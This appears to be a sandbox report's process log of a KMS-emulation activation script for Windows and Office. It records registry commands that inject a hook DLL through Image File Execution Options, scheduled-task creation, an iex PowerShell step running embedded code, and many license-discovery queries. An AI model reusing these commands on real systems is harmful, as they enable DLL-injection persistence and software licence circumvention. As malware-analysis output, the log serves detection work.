C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v GlobalFlag /t REG_DWORD /d 0x000001003⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v KMS_Emulation /t REG_DWORD /d 13⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v KMS_ActivationInterval /t REG_DWORD /d 1203⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v KMS_RenewalInterval /t REG_DWORD /d 100803⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v KMS_HWID /t REG_QWORD /d "0x3A1C049600B60076"3⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v Debugger3⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v VerifierDlls /t REG_SZ /d "SppExtComObjHook.dll"3⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v VerifierDebug /t REG_DWORD /d 0x000000003⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v VerifierFlags /t REG_DWORD /d 0x800000003⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v GlobalFlag /t REG_DWORD /d 0x000001003⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v KMS_Emulation /t REG_DWORD /d 13⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v KMS_ActivationInterval /t REG_DWORD /d 1203⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v KMS_RenewalInterval /t REG_DWORD /d 100803⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\schtasks.exeschtasks /query /tn "\Microsoft\Windows\SoftwareProtectionPlatform\SvcTrigger"3⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /query /tn "\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskLogon"3⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /query /tn "\Microsoft\Windows\SoftwareProtectionPlatform\SvcTrigger"3⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -c "$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\active.bat') -split ':spptask\:.*'; [IO.File]::WriteAllText('SvcTrigger.xml',$f[1].Trim(),[System.Text.Encoding]::Unicode)"3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "\Microsoft\Windows\SoftwareProtectionPlatform\SvcTrigger" /xml "C:\Windows\Temp\SvcTrigger.xml" /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /query /tn "\Microsoft\Windows\SoftwareProtectionPlatform\SvcTrigger"3⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -c "&{$W=$Host.UI.RawUI.WindowSize;$B=$Host.UI.RawUI.BufferSize;$W.Height=31;$B.Height=300;$Host.UI.RawUI.WindowSize=$W;$Host.UI.RawUI.BufferSize=$B;}"3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\CurrentVersion\Software Protection Platform" /v NoGenTicket /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\system32\sc.exesc query sppsvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\find.exefind /i "STOPPED"3⤵
-
-
C:\Windows\system32\sc.exesc query sppsvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\find.exefind /i "STOPPED"3⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v KMS_ActivationInterval /t REG_DWORD /d 1203⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v KMS_RenewalInterval /t REG_DWORD /d 100803⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SppExtComObj.exe" /f /v KMS_HWID /t REG_QWORD /d "0x3A1C049600B60076"3⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v KMS_ActivationInterval /t REG_DWORD /d 1203⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osppsvc.exe" /f /v KMS_RenewalInterval /t REG_DWORD /d 100803⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "172.16.0.2"3⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c REG QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages" /f "Microsoft-Windows-*Edition~31bf3856ad364e35" /k 2>nul | FIND /I "CurrentVersion"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exeREG QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages" /f "Microsoft-Windows-*Edition~31bf3856ad364e35" /k4⤵
-
-
C:\Windows\system32\find.exeFIND /I "CurrentVersion"4⤵
-
-
-
C:\Windows\system32\reg.exeREG QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Microsoft-Windows-ProfessionalEdition~31bf3856ad364e35~amd64~~10.0.19041.1288" /v "CurrentState"3⤵
-
-
C:\Windows\system32\find.exeFIND /I "0x70"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ECHO Microsoft-Windows-ProfessionalEdition~31bf3856ad364e35~amd64~~10.0.19041.12883⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\reg.exeREG QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Microsoft-Windows-ProfessionalEdition~31bf3856ad364e35~amd64~~10.0.19041.264" /v "CurrentState"3⤵
-
-
C:\Windows\system32\find.exeFIND /I "0x70"3⤵
-
-
C:\Windows\system32\net.exenet start sppsvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start sppsvc /y4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND PartialProductKey is not NULL" get LicenseFamily /value 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' AND PartialProductKey is not NULL" get LicenseFamily /value4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName4⤵
-
-
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath3⤵
- Modifies registry key
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath4⤵
- Modifies registry key
-
-
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds3⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\15.0\ClickToRun /v InstallPath3⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\CVH /f Click2run /k3⤵
- Modifies registry key
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\14.0\Common\InstallRoot /v Path" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\14.0\Common\InstallRoot /v Path4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Common\InstallRoot /v Path" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\14.0\Common\InstallRoot /v Path4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\15.0\Common\InstallRoot /v Path" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\15.0\Common\InstallRoot /v Path4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\15.0\Common\InstallRoot /v Path" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\15.0\Common\InstallRoot /v Path4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\16.0\Common\InstallRoot /v Path" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\16.0\Common\InstallRoot /v Path4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\16.0\Common\InstallRoot /v Path" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\16.0\Common\InstallRoot /v Path4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds4⤵
- Modifies registry key
-
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"MondoVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProPlusVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectProVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioProVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"StandardVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectStdVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioStdVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"AccessVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"SkypeforBusinessVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"OneNoteVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ExcelVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"OutlookVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"PowerPointVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"PublisherVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"WordVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectProXVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectStdXVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioProXVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioStdXVolume" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"MondoRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProPlusRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectProRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioProRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"StandardRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProjectStdRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"VisioStdRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"AccessRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"SkypeforBusinessRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"OneNoteRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ExcelRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"OutlookRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"PowerPointRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"PublisherRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"WordRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProfessionalRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"HomeBusinessRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"HomeStudentRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"O365BusinessRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"O365SmallBusPremRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"O365HomePremRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"O365EduCloudRetail" "C:\Windows\Temp\c2rchk.txt"3⤵
-
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr 20193⤵
-
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr 20213⤵
-
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds3⤵
- Modifies registry key
-
-
C:\Windows\system32\findstr.exefindstr 20243⤵
-
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\msoxmled.exe"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "Description like '%KMSCLIENT%' AND NOT Name like '%MondoR_KMS_Automation%'" get Name /value3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 16" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663' AND NOT Name like '%O365%'" get Name /value3⤵
-
-
C:\Windows\system32\find.exefind /i "R_Retail" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 14"3⤵
-
-
C:\Windows\system32\find.exefind /i "R_Retail" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 15"3⤵
-
-
C:\Windows\system32\find.exefind /i "R_Retail" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 16"3⤵
-
-
C:\Windows\system32\find.exefind /i "R_Retail" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 19"3⤵
-
-
C:\Windows\system32\find.exefind /i "R_Retail" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 21"3⤵
-
-
C:\Windows\system32\find.exefind /i "R_Retail" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office 24"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office16ProPlusR" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office16StandardR" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office16AccessR" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office16SkypeforBusinessR" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office16ExcelR" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office16OutlookR" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office16PowerPointR" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office16PublisherR" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office16WordR" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office16ProfessionalR" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office16HomeBusinessR" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office16HomeStudentR" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office16ProjectProR" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office16ProjectStdR" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office16VisioProR" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "Office16VisioStdR" "C:\Windows\Temp\sppchk.txt"3⤵
-
-
C:\Windows\system32\sc.exesc query ClickToRunSvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc query OfficeSvc3⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\ClickToRun /v InstallPath" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\ClickToRun /v InstallPath4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\15.0\ClickToRun /v InstallPath" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\15.0\ClickToRun /v InstallPath4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\15.0\ClickToRun /v InstallPath" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\15.0\ClickToRun /v InstallPath4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v PackageGUID" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v PackageGUID4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\ProductReleaseIDs /v ActiveConfiguration" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\ProductReleaseIDs /v ActiveConfiguration4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\15.0\Common\InstallRoot /v Path" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\15.0\Common\InstallRoot /v Path4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\15.0\Common\InstallRoot /v Path" 2>nul3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\15.0\Common\InstallRoot /v Path4⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingService get Version /value3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingService get Version /value4⤵
-
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663' AND LicenseStatus='1' AND PartialProductKey is not NULL" get Description3⤵
-
-
C:\Windows\system32\findstr.exefindstr /V /R "^$"3⤵
-
-
C:\Windows\system32\find.exefind /i "RETAIL channel" "C:\Windows\Temp\crvRetail.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "RETAIL(MAK) channel" "C:\Windows\Temp\crvRetail.txt"3⤵
-
-
C:\Windows\system32\find.exefind /i "TIMEBASED_SUB channel" "C:\Windows\Temp\crvRetail.txt"3⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -c "$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\active.bat') -split ':embdbin\:.*';iex ($f[5])"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where "ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663'" get LicenseFamily3⤵
-
-
C:\Windows\system32\findstr.exefindstr /V /R "^$"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Professional2024Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"HomeBusiness2024Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"HomeStudent2024Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Home2024Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"ProPlus2024Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Standard2024Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Excel2024Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Outlook2024Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"PowerPoint2024Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Word2024Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"Access2024Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
C:\Windows\system32\findstr.exefindstr /I /C:"SkypeforBusiness2024Retail" "C:\Windows\Temp\crvProductIds.txt"3⤵
-
-
